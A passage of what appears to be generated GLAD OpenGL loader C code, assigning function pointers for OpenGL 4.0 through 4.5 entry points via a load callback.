glad_glVertexAttribP4uiv = (PFNGLVERTEXATTRIBP4UIVPROC)load("glVertexAttribP4uiv");
glad_glVertexP2ui = (PFNGLVERTEXP2UIPROC)load("glVertexP2ui");
glad_glVertexP2uiv = (PFNGLVERTEXP2UIVPROC)load("glVertexP2uiv");
glad_glVertexP3ui = (PFNGLVERTEXP3UIPROC)load("glVertexP3ui");
glad_glVertexP3uiv = (PFNGLVERTEXP3UIVPROC)load("glVertexP3uiv");
glad_glVertexP4ui = (PFNGLVERTEXP4UIPROC)load("glVertexP4ui");
glad_glVertexP4uiv = (PFNGLVERTEXP4UIVPROC)load("glVertexP4uiv");
glad_glTexCoordP1ui = (PFNGLTEXCOORDP1UIPROC)load("glTexCoordP1ui");
glad_glTexCoordP1uiv = (PFNGLTEXCOORDP1UIVPROC)load("glTexCoordP1uiv");
glad_glTexCoordP2ui = (PFNGLTEXCOORDP2UIPROC)load("glTexCoordP2ui");
glad_glTexCoordP2uiv = (PFNGLTEXCOORDP2UIVPROC)load("glTexCoordP2uiv");
glad_glTexCoordP3ui = (PFNGLTEXCOORDP3UIPROC)load("glTexCoordP3ui");
glad_glTexCoordP3uiv = (PFNGLTEXCOORDP3UIVPROC)load("glTexCoordP3uiv");
glad_glTexCoordP4ui = (PFNGLTEXCOORDP4UIPROC)load("glTexCoordP4ui");
glad_glTexCoordP4uiv = (PFNGLTEXCOORDP4UIVPROC)load("glTexCoordP4uiv");
glad_glMultiTexCoordP1ui = (PFNGLMULTITEXCOORDP1UIPROC)load("glMultiTexCoordP1ui");
glad_glMultiTexCoordP1uiv = (PFNGLMULTITEXCOORDP1UIVPROC)load("glMultiTexCoordP1uiv");
glad_glMultiTexCoordP2ui = (PFNGLMULTITEXCOORDP2UIPROC)load("glMultiTexCoordP2ui");
glad_glMultiTexCoordP2uiv = (PFNGLMULTITEXCOORDP2UIVPROC)load("glMultiTexCoordP2uiv");
glad_glMultiTexCoordP3ui = (PFNGLMULTITEXCOORDP3UIPROC)load("glMultiTexCoordP3ui");
glad_glMultiTexCoordP3uiv = (PFNGLMULTITEXCOORDP3UIVPROC)load("glMultiTexCoordP3uiv");
glad_glMultiTexCoordP4ui = (PFNGLMULTITEXCOORDP4UIPROC)load("glMultiTexCoordP4ui");
glad_glMultiTexCoordP4uiv = (PFNGLMULTITEXCOORDP4UIVPROC)load("glMultiTexCoordP4uiv");
glad_glNormalP3ui = (PFNGLNORMALP3UIPROC)load("glNormalP3ui");
glad_glNormalP3uiv = (PFNGLNORMALP3UIVPROC)load("glNormalP3uiv");
glad_glColorP3ui = (PFNGLCOLORP3UIPROC)load("glColorP3ui");
glad_glColorP3uiv = (PFNGLCOLORP3UIVPROC)load("glColorP3uiv");
glad_glColorP4ui = (PFNGLCOLORP4UIPROC)load("glColorP4ui");
glad_glColorP4uiv = (PFNGLCOLORP4UIVPROC)load("glColorP4uiv");
glad_glSecondaryColorP3ui = (PFNGLSECONDARYCOLORP3UIPROC)load("glSecondaryColorP3ui");
glad_glSecondaryColorP3uiv = (PFNGLSECONDARYCOLORP3UIVPROC)load("glSecondaryColorP3uiv");
}
static void load_GL_VERSION_4_0(GLADloadproc load) {
if(!GLAD_GL_VERSION_4_0) return;
glad_glMinSampleShading = (PFNGLMINSAMPLESHADINGPROC)load("glMinSampleShading");
glad_glBlendEquationi = (PFNGLBLENDEQUATIONIPROC)load("glBlendEquationi");
glad_glBlendEquationSeparatei = (PFNGLBLENDEQUATIONSEPARATEIPROC)load("glBlendEquationSeparatei");
glad_glBlendFunci = (PFNGLBLENDFUNCIPROC)load("glBlendFunci");
glad_glBlendFuncSeparatei = (PFNGLBLENDFUNCSEPARATEIPROC)load("glBlendFuncSeparatei");
glad_glDrawArraysIndirect = (PFNGLDRAWARRAYSINDIRECTPROC)load("glDrawArraysIndirect");
glad_glDrawElementsIndirect = (PFNGLDRAWELEMENTSINDIRECTPROC)load("glDrawElementsIndirect");
glad_glUniform1d = (PFNGLUNIFORM1DPROC)load("glUniform1d");
glad_glUniform2d = (PFNGLUNIFORM2DPROC)load("glUniform2d");
glad_glUniform3d = (PFNGLUNIFORM3DPROC)load("glUniform3d");
glad_glUniform4d = (PFNGLUNIFORM4DPROC)load("glUniform4d");
glad_glUniform1dv = (PFNGLUNIFORM1DVPROC)load("glUniform1dv");
glad_glUniform2dv = (PFNGLUNIFORM2DVPROC)load("glUniform2dv");
glad_glUniform3dv = (PFNGLUNIFORM3DVPROC)load("glUniform3dv");
glad_glUniform4dv = (PFNGLUNIFORM4DVPROC)load("glUniform4dv");
glad_glUniformMatrix2dv = (PFNGLUNIFORMMATRIX2DVPROC)load("glUniformMatrix2dv");
glad_glUniformMatrix3dv = (PFNGLUNIFORMMATRIX3DVPROC)load("glUniformMatrix3dv");
glad_glUniformMatrix4dv = (PFNGLUNIFORMMATRIX4DVPROC)load("glUniformMatrix4dv");
glad_glUniformMatrix2x3dv = (PFNGLUNIFORMMATRIX2X3DVPROC)load("glUniformMatrix2x3dv");
glad_glUniformMatrix2x4dv = (PFNGLUNIFORMMATRIX2X4DVPROC)load("glUniformMatrix2x4dv");
glad_glUniformMatrix3x2dv = (PFNGLUNIFORMMATRIX3X2DVPROC)load("glUniformMatrix3x2dv");
glad_glUniformMatrix3x4dv = (PFNGLUNIFORMMATRIX3X4DVPROC)load("glUniformMatrix3x4dv");
glad_glUniformMatrix4x2dv = (PFNGLUNIFORMMATRIX4X2DVPROC)load("glUniformMatrix4x2dv");
glad_glUniformMatrix4x3dv = (PFNGLUNIFORMMATRIX4X3DVPROC)load("glUniformMatrix4x3dv");
glad_glGetUniformdv = (PFNGLGETUNIFORMDVPROC)load("glGetUniformdv");
glad_glGetSubroutineUniformLocation = (PFNGLGETSUBROUTINEUNIFORMLOCATIONPROC)load("glGetSubroutineUniformLocation");
glad_glGetSubroutineIndex = (PFNGLGETSUBROUTINEINDEXPROC)load("glGetSubroutineIndex");
glad_glGetActiveSubroutineUniformiv = (PFNGLGETACTIVESUBROUTINEUNIFORMIVPROC)load("glGetActiveSubroutineUniformiv");
glad_glGetActiveSubroutineUniformName = (PFNGLGETACTIVESUBROUTINEUNIFORMNAMEPROC)load("glGetActiveSubroutineUniformName");
glad_glGetActiveSubroutineName = (PFNGLGETACTIVESUBROUTINENAMEPROC)load("glGetActiveSubroutineName");
glad_glUniformSubroutinesuiv = (PFNGLUNIFORMSUBROUTINESUIVPROC)load("glUniformSubroutinesuiv");
glad_glGetUniformSubroutineuiv = (PFNGLGETUNIFORMSUBROUTINEUIVPROC)load("glGetUniformSubroutineuiv");
glad_glGetProgramStageiv = (PFNGLGETPROGRAMSTAGEIVPROC)load("glGetProgramStageiv");
glad_glPatchParameteri = (PFNGLPATCHPARAMETERIPROC)load("glPatchParameteri");
glad_glPatchParameterfv = (PFNGLPATCHPARAMETERFVPROC)load("glPatchParameterfv");
glad_glBindTransformFeedback = (PFNGLBINDTRANSFORMFEEDBACKPROC)load("glBindTransformFeedback");
glad_glDeleteTransformFeedbacks = (PFNGLDELETETRANSFORMFEEDBACKSPROC)load("glDeleteTransformFeedbacks");
glad_glGenTransformFeedbacks = (PFNGLGENTRANSFORMFEEDBACKSPROC)load("glGenTransformFeedbacks");
glad_glIsTransformFeedback = (PFNGLISTRANSFORMFEEDBACKPROC)load("glIsTransformFeedback");
glad_glPauseTransformFeedback = (PFNGLPAUSETRANSFORMFEEDBACKPROC)load("glPauseTransformFeedback");
glad_glResumeTransformFeedback = (PFNGLRESUMETRANSFORMFEEDBACKPROC)load("glResumeTransformFeedback");
glad_glDrawTransformFeedback = (PFNGLDRAWTRANSFORMFEEDBACKPROC)load("glDrawTransformFeedback");
glad_glDrawTransformFeedbackStream = (PFNGLDRAWTRANSFORMFEEDBACKSTREAMPROC)load("glDrawTransformFeedbackStream");
glad_glBeginQueryIndexed = (PFNGLBEGINQUERYINDEXEDPROC)load("glBeginQueryIndexed");
glad_glEndQueryIndexed = (PFNGLENDQUERYINDEXEDPROC)load("glEndQueryIndexed");
glad_glGetQueryIndexediv = (PFNGLGETQUERYINDEXEDIVPROC)load("glGetQueryIndexediv");
}
static void load_GL_VERSION_4_1(GLADloadproc load) {
if(!GLAD_GL_VERSION_4_1) return;
glad_glReleaseShaderCompiler = (PFNGLRELEASESHADERCOMPILERPROC)load("glReleaseShaderCompiler");
glad_glShaderBinary = (PFNGLSHADERBINARYPROC)load("glShaderBinary");
glad_glGetShaderPrecisionFormat = (PFNGLGETSHADERPRECISIONFORMATPROC)load("glGetShaderPrecisionFormat");
glad_glDepthRangef = (PFNGLDEPTHRANGEFPROC)load("glDepthRangef");
glad_glClearDepthf = (PFNGLCLEARDEPTHFPROC)load("glClearDepthf");
glad_glGetProgramBinary = (PFNGLGETPROGRAMBINARYPROC)load("glGetProgramBinary");
glad_glProgramBinary = (PFNGLPROGRAMBINARYPROC)load("glProgramBinary");
glad_glProgramParameteri = (PFNGLPROGRAMPARAMETERIPROC)load("glProgramParameteri");
glad_glUseProgramStages = (PFNGLUSEPROGRAMSTAGESPROC)load("glUseProgramStages");
glad_glActiveShaderProgram = (PFNGLACTIVESHADERPROGRAMPROC)load("glActiveShaderProgram");
glad_glCreateShaderProgramv = (PFNGLCREATESHADERPROGRAMVPROC)load("glCreateShaderProgramv");
glad_glBindProgramPipeline = (PFNGLBINDPROGRAMPIPELINEPROC)load("glBindProgramPipeline");
glad_glDeleteProgramPipelines = (PFNGLDELETEPROGRAMPIPELINESPROC)load("glDeleteProgramPipelines");
glad_glGenProgramPipelines = (PFNGLGENPROGRAMPIPELINESPROC)load("glGenProgramPipelines");
glad_glIsProgramPipeline = (PFNGLISPROGRAMPIPELINEPROC)load("glIsProgramPipeline");
glad_glGetProgramPipelineiv = (PFNGLGETPROGRAMPIPELINEIVPROC)load("glGetProgramPipelineiv");
glad_glProgramParameteri = (PFNGLPROGRAMPARAMETERIPROC)load("glProgramParameteri");
glad_glProgramUniform1i = (PFNGLPROGRAMUNIFORM1IPROC)load("glProgramUniform1i");
glad_glProgramUniform1iv = (PFNGLPROGRAMUNIFORM1IVPROC)load("glProgramUniform1iv");
glad_glProgramUniform1f = (PFNGLPROGRAMUNIFORM1FPROC)load("glProgramUniform1f");
glad_glProgramUniform1fv = (PFNGLPROGRAMUNIFORM1FVPROC)load("glProgramUniform1fv");
glad_glProgramUniform1d = (PFNGLPROGRAMUNIFORM1DPROC)load("glProgramUniform1d");
glad_glProgramUniform1dv = (PFNGLPROGRAMUNIFORM1DVPROC)load("glProgramUniform1dv");
glad_glProgramUniform1ui = (PFNGLPROGRAMUNIFORM1UIPROC)load("glProgramUniform1ui");
glad_glProgramUniform1uiv = (PFNGLPROGRAMUNIFORM1UIVPROC)load("glProgramUniform1uiv");
glad_glProgramUniform2i = (PFNGLPROGRAMUNIFORM2IPROC)load("glProgramUniform2i");
glad_glProgramUniform2iv = (PFNGLPROGRAMUNIFORM2IVPROC)load("glProgramUniform2iv");
glad_glProgramUniform2f = (PFNGLPROGRAMUNIFORM2FPROC)load("glProgramUniform2f");
glad_glProgramUniform2fv = (PFNGLPROGRAMUNIFORM2FVPROC)load("glProgramUniform2fv");
glad_glProgramUniform2d = (PFNGLPROGRAMUNIFORM2DPROC)load("glProgramUniform2d");
glad_glProgramUniform2dv = (PFNGLPROGRAMUNIFORM2DVPROC)load("glProgramUniform2dv");
glad_glProgramUniform2ui = (PFNGLPROGRAMUNIFORM2UIPROC)load("glProgramUniform2ui");
glad_glProgramUniform2uiv = (PFNGLPROGRAMUNIFORM2UIVPROC)load("glProgramUniform2uiv");
glad_glProgramUniform3i = (PFNGLPROGRAMUNIFORM3IPROC)load("glProgramUniform3i");
glad_glProgramUniform3iv = (PFNGLPROGRAMUNIFORM3IVPROC)load("glProgramUniform3iv");
glad_glProgramUniform3f = (PFNGLPROGRAMUNIFORM3FPROC)load("glProgramUniform3f");
glad_glProgramUniform3fv = (PFNGLPROGRAMUNIFORM3FVPROC)load("glProgramUniform3fv");
glad_glProgramUniform3d = (PFNGLPROGRAMUNIFORM3DPROC)load("glProgramUniform3d");
glad_glProgramUniform3dv = (PFNGLPROGRAMUNIFORM3DVPROC)load("glProgramUniform3dv");
glad_glProgramUniform3ui = (PFNGLPROGRAMUNIFORM3UIPROC)load("glProgramUniform3ui");
glad_glProgramUniform3uiv = (PFNGLPROGRAMUNIFORM3UIVPROC)load("glProgramUniform3uiv");
glad_glProgramUniform4i = (PFNGLPROGRAMUNIFORM4IPROC)load("glProgramUniform4i");
glad_glProgramUniform4iv = (PFNGLPROGRAMUNIFORM4IVPROC)load("glProgramUniform4iv");
glad_glProgramUniform4f = (PFNGLPROGRAMUNIFORM4FPROC)load("glProgramUniform4f");
glad_glProgramUniform4fv = (PFNGLPROGRAMUNIFORM4FVPROC)load("glProgramUniform4fv");
glad_glProgramUniform4d = (PFNGLPROGRAMUNIFORM4DPROC)load("glProgramUniform4d");
glad_glProgramUniform4dv = (PFNGLPROGRAMUNIFORM4DVPROC)load("glProgramUniform4dv");
glad_glProgramUniform4ui = (PFNGLPROGRAMUNIFORM4UIPROC)load("glProgramUniform4ui");
glad_glProgramUniform4uiv = (PFNGLPROGRAMUNIFORM4UIVPROC)load("glProgramUniform4uiv");
glad_glProgramUniformMatrix2fv = (PFNGLPROGRAMUNIFORMMATRIX2FVPROC)load("glProgramUniformMatrix2fv");
glad_glProgramUniformMatrix3fv = (PFNGLPROGRAMUNIFORMMATRIX3FVPROC)load("glProgramUniformMatrix3fv");
glad_glProgramUniformMatrix4fv = (PFNGLPROGRAMUNIFORMMATRIX4FVPROC)load("glProgramUniformMatrix4fv");
glad_glProgramUniformMatrix2dv = (PFNGLPROGRAMUNIFORMMATRIX2DVPROC)load("glProgramUniformMatrix2dv");
glad_glProgramUniformMatrix3dv = (PFNGLPROGRAMUNIFORMMATRIX3DVPROC)load("glProgramUniformMatrix3dv");
glad_glProgramUniformMatrix4dv = (PFNGLPROGRAMUNIFORMMATRIX4DVPROC)load("glProgramUniformMatrix4dv");
glad_glProgramUniformMatrix2x3fv = (PFNGLPROGRAMUNIFORMMATRIX2X3FVPROC)load("glProgramUniformMatrix2x3fv");
glad_glProgramUniformMatrix3x2fv = (PFNGLPROGRAMUNIFORMMATRIX3X2FVPROC)load("glProgramUniformMatrix3x2fv");
glad_glProgramUniformMatrix2x4fv = (PFNGLPROGRAMUNIFORMMATRIX2X4FVPROC)load("glProgramUniformMatrix2x4fv");
glad_glProgramUniformMatrix4x2fv = (PFNGLPROGRAMUNIFORMMATRIX4X2FVPROC)load("glProgramUniformMatrix4x2fv");
glad_glProgramUniformMatrix3x4fv = (PFNGLPROGRAMUNIFORMMATRIX3X4FVPROC)load("glProgramUniformMatrix3x4fv");
glad_glProgramUniformMatrix4x3fv = (PFNGLPROGRAMUNIFORMMATRIX4X3FVPROC)load("glProgramUniformMatrix4x3fv");
glad_glProgramUniformMatrix2x3dv = (PFNGLPROGRAMUNIFORMMATRIX2X3DVPROC)load("glProgramUniformMatrix2x3dv");
glad_glProgramUniformMatrix3x2dv = (PFNGLPROGRAMUNIFORMMATRIX3X2DVPROC)load("glProgramUniformMatrix3x2dv");
glad_glProgramUniformMatrix2x4dv = (PFNGLPROGRAMUNIFORMMATRIX2X4DVPROC)load("glProgramUniformMatrix2x4dv");
glad_glProgramUniformMatrix4x2dv = (PFNGLPROGRAMUNIFORMMATRIX4X2DVPROC)load("glProgramUniformMatrix4x2dv");
glad_glProgramUniformMatrix3x4dv = (PFNGLPROGRAMUNIFORMMATRIX3X4DVPROC)load("glProgramUniformMatrix3x4dv");
glad_glProgramUniformMatrix4x3dv = (PFNGLPROGRAMUNIFORMMATRIX4X3DVPROC)load("glProgramUniformMatrix4x3dv");
glad_glValidateProgramPipeline = (PFNGLVALIDATEPROGRAMPIPELINEPROC)load("glValidateProgramPipeline");
glad_glGetProgramPipelineInfoLog = (PFNGLGETPROGRAMPIPELINEINFOLOGPROC)load("glGetProgramPipelineInfoLog");
glad_glVertexAttribL1d = (PFNGLVERTEXATTRIBL1DPROC)load("glVertexAttribL1d");
glad_glVertexAttribL2d = (PFNGLVERTEXATTRIBL2DPROC)load("glVertexAttribL2d");
glad_glVertexAttribL3d = (PFNGLVERTEXATTRIBL3DPROC)load("glVertexAttribL3d");
glad_glVertexAttribL4d = (PFNGLVERTEXATTRIBL4DPROC)load("glVertexAttribL4d");
glad_glVertexAttribL1dv = (PFNGLVERTEXATTRIBL1DVPROC)load("glVertexAttribL1dv");
glad_glVertexAttribL2dv = (PFNGLVERTEXATTRIBL2DVPROC)load("glVertexAttribL2dv");
glad_glVertexAttribL3dv = (PFNGLVERTEXATTRIBL3DVPROC)load("glVertexAttribL3dv");
glad_glVertexAttribL4dv = (PFNGLVERTEXATTRIBL4DVPROC)load("glVertexAttribL4dv");
glad_glVertexAttribLPointer = (PFNGLVERTEXATTRIBLPOINTERPROC)load("glVertexAttribLPointer");
glad_glGetVertexAttribLdv = (PFNGLGETVERTEXATTRIBLDVPROC)load("glGetVertexAttribLdv");
glad_glViewportArrayv = (PFNGLVIEWPORTARRAYVPROC)load("glViewportArrayv");
glad_glViewportIndexedf = (PFNGLVIEWPORTINDEXEDFPROC)load("glViewportIndexedf");
glad_glViewportIndexedfv = (PFNGLVIEWPORTINDEXEDFVPROC)load("glViewportIndexedfv");
glad_glScissorArrayv = (PFNGLSCISSORARRAYVPROC)load("glScissorArrayv");
glad_glScissorIndexed = (PFNGLSCISSORINDEXEDPROC)load("glScissorIndexed");
glad_glScissorIndexedv = (PFNGLSCISSORINDEXEDVPROC)load("glScissorIndexedv");
glad_glDepthRangeArrayv = (PFNGLDEPTHRANGEARRAYVPROC)load("glDepthRangeArrayv");
glad_glDepthRangeIndexed = (PFNGLDEPTHRANGEINDEXEDPROC)load("glDepthRangeIndexed");
glad_glGetFloati_v = (PFNGLGETFLOATI_VPROC)load("glGetFloati_v");
glad_glGetDoublei_v = (PFNGLGETDOUBLEI_VPROC)load("glGetDoublei_v");
}
static void load_GL_VERSION_4_2(GLADloadproc load) {
if(!GLAD_GL_VERSION_4_2) return;
glad_glDrawArraysInstancedBaseInstance = (PFNGLDRAWARRAYSINSTANCEDBASEINSTANCEPROC)load("glDrawArraysInstancedBaseInstance");
glad_glDrawElementsInstancedBaseInstance = (PFNGLDRAWELEMENTSINSTANCEDBASEINSTANCEPROC)load("glDrawElementsInstancedBaseInstance");
glad_glDrawElementsInstancedBaseVertexBaseInstance = (PFNGLDRAWELEMENTSINSTANCEDBASEVERTEXBASEINSTANCEPROC)load("glDrawElementsInstancedBaseVertexBaseInstance");
glad_glGetInternalformativ = (PFNGLGETINTERNALFORMATIVPROC)load("glGetInternalformativ");
glad_glGetActiveAtomicCounterBufferiv = (PFNGLGETACTIVEATOMICCOUNTERBUFFERIVPROC)load("glGetActiveAtomicCounterBufferiv");
glad_glBindImageTexture = (PFNGLBINDIMAGETEXTUREPROC)load("glBindImageTexture");
glad_glMemoryBarrier = (PFNGLMEMORYBARRIERPROC)load("glMemoryBarrier");
glad_glTexStorage1D = (PFNGLTEXSTORAGE1DPROC)load("glTexStorage1D");
glad_glTexStorage2D = (PFNGLTEXSTORAGE2DPROC)load("glTexStorage2D");
glad_glTexStorage3D = (PFNGLTEXSTORAGE3DPROC)load("glTexStorage3D");
glad_glDrawTransformFeedbackInstanced = (PFNGLDRAWTRANSFORMFEEDBACKINSTANCEDPROC)load("glDrawTransformFeedbackInstanced");
glad_glDrawTransformFeedbackStreamInstanced = (PFNGLDRAWTRANSFORMFEEDBACKSTREAMINSTANCEDPROC)load("glDrawTransformFeedbackStreamInstanced");
}
static void load_GL_VERSION_4_3(GLADloadproc load) {
if(!GLAD_GL_VERSION_4_3) return;
glad_glClearBufferData = (PFNGLCLEARBUFFERDATAPROC)load("glClearBufferData");
glad_glClearBufferSubData = (PFNGLCLEARBUFFERSUBDATAPROC)load("glClearBufferSubData");
glad_glDispatchCompute = (PFNGLDISPATCHCOMPUTEPROC)load("glDispatchCompute");
glad_glDispatchComputeIndirect = (PFNGLDISPATCHCOMPUTEINDIRECTPROC)load("glDispatchComputeIndirect");
glad_glCopyImageSubData = (PFNGLCOPYIMAGESUBDATAPROC)load("glCopyImageSubData");
glad_glFramebufferParameteri = (PFNGLFRAMEBUFFERPARAMETERIPROC)load("glFramebufferParameteri");
glad_glGetFramebufferParameteriv = (PFNGLGETFRAMEBUFFERPARAMETERIVPROC)load("glGetFramebufferParameteriv");
glad_glGetInternalformati64v = (PFNGLGETINTERNALFORMATI64VPROC)load("glGetInternalformati64v");
glad_glInvalidateTexSubImage = (PFNGLINVALIDATETEXSUBIMAGEPROC)load("glInvalidateTexSubImage");
glad_glInvalidateTexImage = (PFNGLINVALIDATETEXIMAGEPROC)load("glInvalidateTexImage");
glad_glInvalidateBufferSubData = (PFNGLINVALIDATEBUFFERSUBDATAPROC)load("glInvalidateBufferSubData");
glad_glInvalidateBufferData = (PFNGLINVALIDATEBUFFERDATAPROC)load("glInvalidateBufferData");
glad_glInvalidateFramebuffer = (PFNGLINVALIDATEFRAMEBUFFERPROC)load("glInvalidateFramebuffer");
glad_glInvalidateSubFramebuffer = (PFNGLINVALIDATESUBFRAMEBUFFERPROC)load("glInvalidateSubFramebuffer");
glad_glMultiDrawArraysIndirect = (PFNGLMULTIDRAWARRAYSINDIRECTPROC)load("glMultiDrawArraysIndirect");
glad_glMultiDrawElementsIndirect = (PFNGLMULTIDRAWELEMENTSINDIRECTPROC)load("glMultiDrawElementsIndirect");
glad_glGetProgramInterfaceiv = (PFNGLGETPROGRAMINTERFACEIVPROC)load("glGetProgramInterfaceiv");
glad_glGetProgramResourceIndex = (PFNGLGETPROGRAMRESOURCEINDEXPROC)load("glGetProgramResourceIndex");
glad_glGetProgramResourceName = (PFNGLGETPROGRAMRESOURCENAMEPROC)load("glGetProgramResourceName");
glad_glGetProgramResourceiv = (PFNGLGETPROGRAMRESOURCEIVPROC)load("glGetProgramResourceiv");
glad_glGetProgramResourceLocation = (PFNGLGETPROGRAMRESOURCELOCATIONPROC)load("glGetProgramResourceLocation");
glad_glGetProgramResourceLocationIndex = (PFNGLGETPROGRAMRESOURCELOCATIONINDEXPROC)load("glGetProgramResourceLocationIndex");
glad_glShaderStorageBlockBinding = (PFNGLSHADERSTORAGEBLOCKBINDINGPROC)load("glShaderStorageBlockBinding");
glad_glTexBufferRange = (PFNGLTEXBUFFERRANGEPROC)load("glTexBufferRange");
glad_glTexStorage2DMultisample = (PFNGLTEXSTORAGE2DMULTISAMPLEPROC)load("glTexStorage2DMultisample");
glad_glTexStorage3DMultisample = (PFNGLTEXSTORAGE3DMULTISAMPLEPROC)load("glTexStorage3DMultisample");
glad_glTextureView = (PFNGLTEXTUREVIEWPROC)load("glTextureView");
glad_glBindVertexBuffer = (PFNGLBINDVERTEXBUFFERPROC)load("glBindVertexBuffer");
glad_glVertexAttribFormat = (PFNGLVERTEXATTRIBFORMATPROC)load("glVertexAttribFormat");
glad_glVertexAttribIFormat = (PFNGLVERTEXATTRIBIFORMATPROC)load("glVertexAttribIFormat");
glad_glVertexAttribLFormat = (PFNGLVERTEXATTRIBLFORMATPROC)load("glVertexAttribLFormat");
glad_glVertexAttribBinding = (PFNGLVERTEXATTRIBBINDINGPROC)load("glVertexAttribBinding");
glad_glVertexBindingDivisor = (PFNGLVERTEXBINDINGDIVISORPROC)load("glVertexBindingDivisor");
glad_glDebugMessageControl = (PFNGLDEBUGMESSAGECONTROLPROC)load("glDebugMessageControl");
glad_glDebugMessageInsert = (PFNGLDEBUGMESSAGEINSERTPROC)load("glDebugMessageInsert");
glad_glDebugMessageCallback = (PFNGLDEBUGMESSAGECALLBACKPROC)load("glDebugMessageCallback");
glad_glGetDebugMessageLog = (PFNGLGETDEBUGMESSAGELOGPROC)load("glGetDebugMessageLog");
glad_glPushDebugGroup = (PFNGLPUSHDEBUGGROUPPROC)load("glPushDebugGroup");
glad_glPopDebugGroup = (PFNGLPOPDEBUGGROUPPROC)load("glPopDebugGroup");
glad_glObjectLabel = (PFNGLOBJECTLABELPROC)load("glObjectLabel");
glad_glGetObjectLabel = (PFNGLGETOBJECTLABELPROC)load("glGetObjectLabel");
glad_glObjectPtrLabel = (PFNGLOBJECTPTRLABELPROC)load("glObjectPtrLabel");
glad_glGetObjectPtrLabel = (PFNGLGETOBJECTPTRLABELPROC)load("glGetObjectPtrLabel");
glad_glGetPointerv = (PFNGLGETPOINTERVPROC)load("glGetPointerv");
}
static void load_GL_VERSION_4_4(GLADloadproc load) {
if(!GLAD_GL_VERSION_4_4) return;
glad_glBufferStorage = (PFNGLBUFFERSTORAGEPROC)load("glBufferStorage");
glad_glClearTexImage = (PFNGLCLEARTEXIMAGEPROC)load("glClearTexImage");
glad_glClearTexSubImage = (PFNGLCLEARTEXSUBIMAGEPROC)load("glClearTexSubImage");
glad_glBindBuffersBase = (PFNGLBINDBUFFERSBASEPROC)load("glBindBuffersBase");
glad_glBindBuffersRange = (PFNGLBINDBUFFERSRANGEPROC)load("glBindBuffersRange");
glad_glBindTextures = (PFNGLBINDTEXTURESPROC)load("glBindTextures");
glad_glBindSamplers = (PFNGLBINDSAMPLERSPROC)load("glBindSamplers");
glad_glBindImageTextures = (PFNGLBINDIMAGETEXTURESPROC)load("glBindImageTextures");
glad_glBindVertexBuffers = (PFNGLBINDVERTEXBUFFERSPROC)load("glBindVertexBuffers");
}
static void load_GL_VERSION_4_5(GLADloadproc load) {
if(!GLAD_GL_VERSION_4_5) return;
glad_glClipControl = (PFNGLCLIPCONTROLPROC)load("glClipControl");
glad_glCreateTransformFeedbacks = (PFNGLCREATETRANSFORMFEEDBACKSPROC)load("glCreateTransformFeedbacks");
glad_glTransformFeedbackBufferBase = (PFNGLTRANSFORMFEEDBACKBUFFERBASEPROC)load("glTransformFeedbackBufferBase");
glad_glTransformFeedbackBufferRange = (PFNGLTRANSFORMFEEDBACKBUFFERRANGEPROC)load("glTransformFeedbackBufferRange");
glad_glGetTransformFeedbackiv = (PFNGLGETTRANSFORMFEEDBACKIVPROC)load("glGetTransformFeedbackiv");
glad_glGetTransformFeedbacki_v = (PFNGLGETTRANSFORMFEEDBACKI_VPROC)load("glGetTransformFeedbacki_v");
glad_glGetTransformFeedbacki64_v = (PFNGLGETTRANSFORMFEEDBACKI64_VPROC)load("glGetTransformFeedbacki64_v");
glad_glCreateBuffers = (PFNGLCREATEBUFFERSPROC)load("glCreateBuffers");
glad_glNamedBufferStorage = (PFNGLNAMEDBUFFERSTORAGEPROC)load("glNamedBufferStorage");
glad_glNamedBufferData = (PFNGLNAMEDBUFFERDATAPROC)load("glNamedBufferData");
glad_glNamedBufferSubData = (PFNGLNAMEDBUFFERSUBDATAPROC)load("glNamedBufferSubData");
glad_glCopyNamedBufferSubData = (PFNGLCOPYNAMEDBUFFERSUBDATAPROC)load("glCopyNamedBufferSubData");
glad_glClearNamedBufferData = (PFNGLCLEARNAMEDBUFFERDATAPROC)load("glClearNamedBufferData");
glad_glClearNamedBufferSubData = (PFNGLCLEARNAMEDBUFFERSUBDATAPROC)load("glClearNamedBufferSubData");
glad_glMapNamedBuffer = (PFNGLMAPNAMEDBUFFERPROC)load("glMapNamedBuffer");
glad_glMapNamedBufferRange = (PFNGLMAPNAMEDBUFFERRANGEPROC)load("glMapNamedBufferRange");
glad_glUnmapNamedBuffer = (PFNGLUNMAPNAMEDBUFFERPROC)load("glUnmapNamedBuffer");
glad_glFlushMappedNamedBufferRange = (PFNGLFLUSHMAPPEDNAMEDBUFFERRANGEPROC)load("glFlushMappedNamedBufferRange");
glad_glGetNamedBufferParameteriv = (PFNGLGETNAMEDBUFFERPARAMETERIVPROC)load("glGetNamedBufferParameteriv");
glad_glGetNamedBufferParameteri64v = (PFNGLGETNAMEDBUFFERPARAMETERI64VPROC)load("glGetNamedBufferParameteri64v");
glad_glGetNamedBufferPointerv = (PFNGLGETNAMEDBUFFERPOINTERVPROC)load("glGetNamedBufferPointerv");
glad_glGetNamedBufferSubData = (PFNGLGETNAMEDBUFFERSUBDATAPROC)load("glGetNamedBufferSubData");
glad_glCreateFramebuffers = (PFNGLCREATEFRAMEBUFFERSPROC)load("glCreateFramebuffers");
glad_glNamedFramebufferRenderbuffer = (PFNGLNAMEDFRAMEBUFFERRENDERBUFFERPROC)load("glNamedFramebufferRenderbuffer");
glad_glNamedFramebufferParameteri = (PFNGLNAMEDFRAMEBUFFERPARAMETERIPROC)load("glNamedFramebufferParameteri");
glad_glNamedFramebufferTexture = (PFNGLNAMEDFRAMEBUFFERTEXTUREPROC)load("glNamedFramebufferTexture");
glad_glNamedFramebufferTextureLayer = (PFNGLNAMEDFRAMEBUFFERTEXTURELAYERPROC)load("glNamedFramebufferTextureLayer");
glad_glNamedFramebufferDrawBuffer = (PFNGLNAMEDFRAMEBUFFERDRAWBUFFERPROC)load("glNamedFramebufferDrawBuffer");
glad_glNamedFramebufferDrawBuffers = (PFNGLNAMEDFRAMEBUFFERDRAWBUFFERSPROC)load("glNamedFramebufferDrawBuffers");
glad_glNamedFramebufferReadBuffer = (PFNGLNAMEDFRAMEBUFFERREADBUFFERPROC)load("glNamedFramebufferReadBuffer");
glad_glInvalidateNamedFramebufferData = (PFNGLINVALIDATENAMEDFRAMEBUFFERDATAPROC)load("glInvalidateNamedFramebufferData");
glad_glInvalidateNamedFramebufferSubData = (PFNGLINVALIDATENAMEDFRAMEBUFFERSUBDATAPROC)load("glInvalidateNamedFramebufferSubData");
glad_glClearNamedFramebufferiv = (PFNGLCLEARNAMEDFRAMEBUFFERIVPROC)load("glClearNamedFramebufferiv");
